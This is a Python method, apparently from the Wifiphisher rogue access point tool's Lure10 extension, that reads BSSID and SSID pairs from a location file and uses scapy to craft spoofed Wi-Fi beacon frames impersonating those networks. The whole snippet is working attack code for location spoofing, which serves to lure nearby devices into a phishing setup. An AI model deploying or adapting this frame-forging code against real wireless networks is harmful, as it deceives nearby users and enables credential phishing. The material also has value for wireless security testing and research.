'We start broadcasting the beacons on the first received packet.
:param self: A Lure10 object.
:param packet: A scapy.layers.RadioTap object.
:type self: Lure10
:type packet: scapy.layers.RadioTap
:return: list with the crafted beacon frames
:rtype: list'

def get_packet(self, pkt):

    beacons = []
    if self.first:
        if self.data.args.lure10_exploit:
            area_file = (constants.LOCS_DIR + self.data.args.lure10_exploit)
            with open(area_file) as a_file:
                wlans = [x.strip() for x in a_file.readlines()]
                for wlan in wlans:
                    (bssid, essid) = wlan.split('    ', 1)
                    frequency = struct.pack('<h', (2407 + (7 * 5)))
                    ap_rates = '\x0c\x12\x18$0H`l'
                    frame = (((((dot11.RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded=(('\x00l' + frequency) + '\xc0\x00\xc0\x01\x00\x00')) / dot11.Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=bssid, addr3=bssid)) / dot11.Dot11Beacon(cap=8453)) / dot11.Dot11Elt(ID='SSID', info='')) / dot11.Dot11Elt(ID='Rates', info=ap_rates)) / dot11.Dot11Elt(ID='DSset', info=chr(7)))
                    beacons.append(frame)
        self.beacons_num = len(beacons)
        self.first = False
    return (['*'], beacons)
